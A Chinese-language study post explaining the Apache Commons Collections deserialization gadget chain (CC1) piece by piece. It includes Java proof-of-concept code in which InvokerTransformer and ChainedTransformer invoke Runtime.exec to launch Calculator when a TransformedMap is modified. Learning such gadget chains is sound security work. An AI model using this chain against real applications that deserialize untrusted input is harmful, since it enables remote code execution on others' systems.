介绍:Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类。作为 Apache 开源项目的重要组件,被广泛运用于各种 Java 应用的开发。
可以自行安装或者使用ysoserial。
前置知识:
这个java标准库是针对于Map进行操作,所以我们需要了解其常用的类。
- TransformedMap
- Transformer
- InvokerTransformer
- ConstantTransformer
- ChainedTransformer
1.TransformedMap
org.apache.commons.collections.map.TransformedMap 类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义,Transformer 在 TransformedMap 实例化时作为参数传入。
代码示例:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static Transformer keyTransformer = input ->{//将数字加1
int num = (int) input;
num+=1;
return (Object) num;
};
public static Transformer valueTransformer = input ->{ //在字符串后面拼接一个0
String str = input.toString();
return str + "0";
};
public static void main(String[] args){
HashMap map = new HashMap();
map.put(1,"zyer");
System.out.println("初始化HashMap:" + map);
Map new_map = TransformedMap.decorate(map,keyTransformer,valueTransformer);
new_map.put(2,"xiaoming");
System.out.println("transformed map:" + new_map);
new_map.put(3,"xiaohua");
System.out.println("transformed map:" + new_map);
new_map.remove(1);
System.out.println("transformed map:" + new_map);
}
}
通过使用TransformedMap.decorate方法,实现对初始集合进行相应的处理,练习过程可以将这两个修饰的Transformer改变位置或设置成null,能更好的理解。
2.Transformer
org.apache.commons.collections.Transformer 是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。
通俗来讲就是一个变换函数,在CommonCollections4.4中提供了如下的Transformer供使用
下面就是介绍我们在反序列化的时候可以利用的Transformer
3.InvokerTransformer
使用反射创建一个新对象
上面的InvokerTransformer用来接收参数,下面的transform用来对其进行变换,通过之前对反射的学习,可以了解到method.invoke()方式,如果我们可以控制传入的Object和参数,那么我们就可以执行命令
利用InvokerTransformer进行命令执行代码示例
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class test {
public static void main(String[] args) {
Transformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
transformer.transform(Runtime.getRuntime());
}
}
对上面代码的理解:
首先新建一个 InvokerTransformer对象并传入三个参数,第一个参数是methodname即方法名,第二个参数是paramTypes,是一个Class对象,因为exec的参数是String类型的参数,所以我们传入String.class,第三个参数是args即参数,是一个Object[ ]对象,然后可以使用这个对象传入我们的字符串参数。
transformer.transform 方法是输入一个Object对象,然后获取到对应方法,使用method.invoke(obj,args) 反射的方式将其执行。
4.ConstantTransformer
这是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。
所以它的作用其实就是包装任意一个对象,在执行回调时返回这个对象,进而方便后续操作。
5.ChainedTransformer
ChainedTransformer也是实现了Transformer接口的一个类,它的作用是将内部的多个Transformer串 在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。
做一个简单的利用,不使用反射利用,个人认为有点不好理解,等再学习几天的。
package com.zyer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerchain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
Map outermap = TransformedMap.decorate(innermap,null,transformerchain);
outermap.put("zyer","123");
}
}
参考p神的例子,这样理解起来确实好理解,因为一个利用链不可能就使用一个类就直接可以实现,而且这个CommonCollections主要是针对map来包装修饰,那么我们需要一个原始的map,然后建立我们的Transformer,并使用ChainedTransformer将其拼接在一起使用,
那么对ChainedTransformer(transformers)的理解就是:ConstantTransformer是获取一个类对象,因为他在ChainedTransformer中,那么它就会将这个对象传递下去,又因为InvokerTransformer在执行transform的时候需要一个Object input,那么正好就是ConstantTransformer传进来的对象。
然后新建一个map对其使用TransformedMap.decorate方法进行修饰,然后当map中的值有变化时(包括增加,删除等操作),就会触发这个transformerchain,导致弹计算器。